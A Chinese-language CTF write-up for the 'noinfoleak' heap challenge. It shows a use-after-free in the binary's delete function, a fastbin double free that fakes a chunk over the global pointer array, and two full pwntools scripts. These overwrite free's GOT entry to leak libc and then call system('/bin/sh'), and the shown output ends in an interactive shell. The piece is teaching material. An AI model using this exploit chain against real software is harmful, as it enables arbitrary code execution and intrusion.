noinfoleak
发表于更新于
字数总计:1k阅读时长:5分钟 中国
简要分析
漏洞存在在del这个函数,该函数将保存chunk的地址作为参数free掉:
1 2 3 4 5 6 7 8 9
| void del_4009DE() { int index;
putchar('>'); index = readnum_4008A7(); if ( index >= 0 && index <= 15 ) free(arr[2 * index]); }
|
free之后没有置NULL,存在UAF漏洞。
而malloc的chunk最大为(127+1+8)#16=144,控制chunk大小小于128,free掉的chunk就会link进fastbin,此时进行double free就会造成fastbin double free:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| void add_40090A() { signed int index; int size;
for ( index = 0; index <= 15; ++index ) { if ( !arr[2 * index] ) { putchar('>'); size = readnum_4008A7(); if ( size > 0 && size <= 127 ) { arr[2 * index + 1] = size; arr[2 * index] = malloc(size + 1); putchar('>'); read(0, arr[2 * index], size); } return; } } }
|
arr用来存放malloc的chunk的地址以及对应的大小:
1 2 3 4 5 6 7 8 9 10 11 12
| gdb-peda$ x/20gx 0x6010a0 0x6010a0: 0x0000000000602010 0x0000000000000020 0x6010b0: 0x0000000000602050 0x0000000000000020 0x6010c0: 0x0000000000602080 0x0000000000000020 0x6010d0: 0x0000000000000000 0x0000000000000000 0x6010e0: 0x0000000000000000 0x0000000000000000 0x6010f0: 0x0000000000000000 0x0000000000000000 0x601100: 0x0000000000000000 0x0000000000000000 0x601110: 0x0000000000000000 0x0000000000000000 0x601120: 0x0000000000000000 0x0000000000000000 0x601130: 0x0000000000000000 0x0000000000000000
|
程序还提供了修改的功能,可以进行一个地址的写操作,结合上面的例子:edit(0,”AAAAAAAA”)修改0x602010 chunk里的数据为”AAAAAAAA”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| signed int edit_400A28() { signed int result; signed int v1;
putchar('>'); result = readnum_4008A7(); v1 = result; if ( result >= 0 && result <= 15 ) { putchar('>'); result = read(0, arr[2 * v1], arr[2 * v1 + 1]); } return result; }
|
debug
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context.log_level="debug"
local = 1 binary_name = 'noinfoleak'
if local: io = process('./noinfoleak') libc = ELF('./libc.so.6',checksec=False) else: io = remote('ctf1.linkedbyx.com',10446) libc = ELF('./libc.so.6',checksec=False)
bin = ELF('./'+binary_name,checksec=False) libc=ELF('./libc.so.6')
def z(a=''): gdb.attach(io,a) if a == '': raw_input()
def add(size,data): io.sendlineafter(">","1") io.sendlineafter(">",str(size)) io.sendlineafter(">",data)
def delete(index): io.sendlineafter(">","2") io.sendlineafter(">",str(index))
def edit(index,data): io.sendlineafter(">","3") io.sendlineafter(">",str(index)) io.sendafter(">",data)
arr_addr=0x6010A0
add(0x30,"/bin/sh\x00") add(0x20,"AAAAAAAA") add(0x20,"BBBBBBBB")
delete(1) delete(2) delete(1)
add(0x20,p64(arr_addr)) add(0x20,"CCCCCCCC") add(0x20,"DDDDDDDD") add(0x20,"EEEEEEEE")
z()
|
chunk:
1 2 3 4 5 6 7 8 9 10 11
| gdb-peda$ x/20xg 0x602000 0x602000: 0x0000000000000000 0x0000000000000041 0x602010: 0x0068732f6e69622f 0x000000000000000a 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000031 0x602050: 0x4444444444444444 0x000000000000000a 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000031 0x602080: 0x4343434343434343 0x000000000000000a 0x602090: 0x0000000000000000 0x0000000000000000
|
array:
1 2 3 4 5 6 7 8 9 10 11
| gdb-peda$ x/20xg 0x6010a0 0x6010a0: 0x0000000000602010 0x0000000000000030 0x6010b0: 0x4545454545454545 0x000000000000000a 0x6010c0: 0x0000000000602080 0x0000000000000020 0x6010d0: 0x0000000000602050 0x0000000000000020 0x6010e0: 0x0000000000602080 0x0000000000000020 0x6010f0: 0x0000000000602050 0x0000000000000020 0x601100: 0x00000000006010b0 0x0000000000000020 0x601110: 0x0000000000000000 0x0000000000000000 0x601120: 0x0000000000000000 0x0000000000000000 0x601130: 0x0000000000000000 0x0000000000000000
|
edit(1,addr),填充index为1的arr存储的地址指向的空间为addr。
exploit
思路如下:
首先通过double free将0x6010a0开始的一段空间作为fake chunk,这样结合edit的操作进行地址的写入比较方便。
通过edit最后一个malloc的fake chunk来修改chunk1的地址,通过edit chunk1来达成任意地址修改,这里修改free的地址比较方便:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * context.log_level="debug"
import binascii def big_small_end_convert(data): return binascii.hexlify(binascii.unhexlify(data)[::-1])
local = 1 binary_name = 'noinfoleak'
if local: io = process('./noinfoleak') libc = ELF('./libc.so.6',checksec=False)
else: io = remote('ctf1.linkedbyx.com',10446) libc = ELF('./libc.so.6',checksec=False)
elf = ELF('./'+binary_name,checksec=False) libc=ELF('./libc.so.6')
def z(a=''): gdb.attach(io,a) if a == '': raw_input()
def add(size,data): io.sendlineafter(">","1") io.sendlineafter(">",str(size)) io.sendlineafter(">",data)
def delete(index): io.sendlineafter(">","2") io.sendlineafter(">",str(index))
def edit(index,data): io.sendlineafter(">","3") io.sendlineafter(">",str(index)) io.sendafter(">",data)
arr_addr=0x6010A0 free_got=0x601018 puts_plt=0x4006B0 puts_got=0x601028
add(0x30,"/bin/sh\x00") add(0x20,"AAAAAAAA") add(0x20,"BBBBBBBB")
delete(1) delete(2) delete(1)
add(0x20,p64(arr_addr)) add(0x20,"CCCCCCCC") add(0x20,"DDDDDDDD") add(0x20,p64(free_got))
edit(1,p64(puts_plt)) edit(6,p64(puts_got)) delete(1)
puts_addr=int(big_small_end_convert(enhex(io.recvline()[:-1])),16) libc_base=puts_addr-libc.sym["puts"] system_addr=libc_base+libc.sym["system"]
print "puts_addr=",hex(puts_addr) print "libc_base=",hex(libc_base) print "system_addr=",hex(system_addr)
edit(6,p64(free_got)) edit(1,p64(system_addr)) delete(0)
io.interactive()
|
1 2 3 4 5 6
| $ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x4a bytes: 'core exp1.py exp.py libc.so.6 noinfoleak peda-session-noinfoleak.txt\n' core exp1.py exp.py libc.so.6 noinfoleak peda-session-noinfoleak.txt
|
Reference Documents